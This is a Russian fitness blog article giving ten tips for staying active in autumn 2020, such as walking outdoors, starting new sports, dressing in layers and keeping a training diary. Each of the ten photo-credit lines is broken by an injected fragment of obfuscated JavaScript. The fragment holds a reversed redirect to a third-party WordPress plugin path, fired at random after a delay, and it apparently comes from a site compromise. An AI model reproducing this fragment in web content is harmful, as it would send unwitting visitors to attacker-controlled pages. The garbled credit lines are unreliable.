10 способов провести осень 2020 года активно

Дождь, прохладная погода и ежедневные тревожные новости о коронавирусной инфекции не повод проводить вечера, сидя или лёжа на диване. Наоборот, лучшее лекарство от осенней хандры — это спорт. И мы знаем, что нужно делать — ниже вы найдёте 10 способов, которые помогут вам оставаться бодрым и не раскисать.

Проводите больше времени на улице

Осень — идеальное время года для занятий спортом на свежем воздухе. Летняя жара уже спала, ещё не так холодно, в воздухе витают ароматы яблок и листьев. Прогулка в парке или по лесу, скандинавская ходьба, езда на велосипеде, поход — выбирайте, что вам больше нравится, и вперёд. А если ваш дом рядом с морем, отправляйтесь на пляж. Играйте в фрисби, бадминтон и футбол. Совсем не обязательно истязать себя тяжёлыми тренировками — просто старайтесь больше двигаться.

10 способов провести осень 2020 года активно. Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Пробуйте новое

Всегда хотели научиться танцевать, боксировать или плавать? Пойти на йогу или балет? Осенью самое время всем этим заняться. Новые занятия и классы в спортивных центрах часто открываются именно осенью. Спросите любого школьника: осень — лучшее время, чтобы начинать что-то новое.

10 способов провести осень 2020 года активно. Изображение номер 2

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Учитесь совмещать

Не представляете и дня без просмотра фильма, сериала или любимого ток-шоу? Отлично! Попробуйте совмещать просмотр с тренировкой. Многие фитнес-центры оборудованы телевизорами — можно смотреть фильм прямо на беговой дорожке или велотренажёре. Если же вы предпочитаете тренироваться дома, можно выполнять упражнения во время рекламных пауз.

10 способов провести осень 2020 года активно. Изображение номер 3

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Старайтесь больше двигаться в течение дня

Самое очевидное — лестница вместо лифта, пешая прогулка вместо автобуса, обеденный перерыв в парке вместо перекуса в столовой. Есть и менее очевидные активности. Если вы водите детей на тренировку и ждёте, пока она закончится, попробуйте вместо того, чтобы сидеть и листать ленту в соцсетях, погулять и послушать аудиокнигу или полезные подкасты. Можно проводить бизнес-встречи или рабочие совещания «на ходу», совмещая их с прогулкой в парке или пробежкой. Мозговые штурмы в движении намного эффективнее.

10 способов провести осень 2020 года активно. Изображение номер 4

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Учитесь мыслить глобально

Осенью можно омолодить не только тело, но и дух. Запишитесь на сеанс массажа после тренировки. Научитесь медитировать или рисовать. Уделяйте внимание не только физическим упражнениям, но и другим активностям, которые способствуют оздоровлению. Достигайте баланса во всех сферах: физической, умственной, эмоциональной и духовной.

10 способов провести осень 2020 года активно. Изображение номер 5

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Освойте правило 30 дней

Нашему организму необходимо около четырёх недель, чтобы адаптироваться к переменам в образе жизни. По статистике люди, которые начали заниматься спортом, бросают тренировки именно в первые 30 дней. Так что если будильник звонит утром, а вам очень хочется выключить его и поспать ещё, не делайте этого. Постарайтесь продержаться первые 30 дней. Через месяц тело адаптируется, и вам станет гораздо легче.

10 способов провести осень 2020 года активно. Изображение номер 6

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Стремитесь к трём константам: обязательство, удобство, последовательность

Спорт и тренировки — это обязательство. Это такая же часть нашей жизни, как утренний кофе или работа. Если мы хотим всё успевать, необходимо планировать тренировки заранее и включать их в свой график. Иначе «начну с понедельника» превращается в «не начну никогда».

Удобство означает выбор спортзала с удобной локацией, выбор активности, которая подходит именно вам, или выбор времени, когда вас, скорее всего, никто не будет отвлекать.

И наконец, последовательность. Начиная что-то новое, особенно занятия спортом, мы порой сразу бросаемся во все тяжкие. В большинстве случаев это ведёт к быстрому выгоранию. Гораздо эффективнее заниматься по десять минут каждый день, чем 60 минут раз в месяц. Помните правило 30 дней. Дайте вашей психике и вашему телу время, чтобы привыкнуть к новому образу жизни и полюбить его.

10 способов провести осень 2020 года активно. Изображение номер 7

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Ищите возможности

Осенью световой день сокращается, однако раннее наступление темноты не повод пропускать тренировку. Это повод задуматься о безопасности. Можно выбрать хорошо освещённый парк или стадион, купить фонарик и светоотражающую спортивную одежду. Ищите возможности, а не оправдания.

10 способов провести осень 2020 года активно. Изображение номер 8

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Одевайтесь правильно

Профессионалы советуют придерживаться правила трёх слоёв: внутренний слой должен впитывать влагу, второй — согревать (подойдёт, например, тонкий флис), третий слой должен защищать (в зависимости от погоды это может быть ветровка или дождевик). Сейчас есть много тонких ветровок, которые отлично защищают от ветра и дождя. Лучше всего выбирать влагоотводящую одежду с пометками dryfit. И не забывайте о солнцезащитных очках. Да, даже осенью солнце бывает довольно интенсивным.

10 способов провести осень 2020 года активно. Изображение номер 9

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Найдите стимул

Все мы разные, и каждого из нас вдохновляют разные вещи. Потеря веса, набор мышечной массы, растяжка, подготовка к марафону или поддержание себя в тонусе — для начала стоит понять, какие цели будут стимулировать именно вас. Осознанность в постановке целей — ключ к успеху.

Но одних целей недостаточно. Чтобы каждый день тренироваться, нужны силы. Именно поэтому выбирайте ту активность, которая вам действительно нравится и приносит радость.

Ещё один фактор — это результаты. Старайтесь вести дневник достижений и записывайте туда всё: и удачные дни, и неудачные. Это нужно, чтобы отслеживать прогресс.

Помните: ничего не даётся просто так. Не бойтесь маленьких неудач и не останавливайтесь на достигнутом. Быть здоровым — это тоже труд.

10 способов провести осень 2020 года активно. Изображение номер 10

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Статьи по теме

5 отговорок, которые мешают вам заниматься спортом

Как не навредить себе во время занятий спортом

Знай, что это всё не ради красоты: зачем ещё заниматься спортом

10 причин, почему именно сегодня вам нужно пойти на тренировку

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector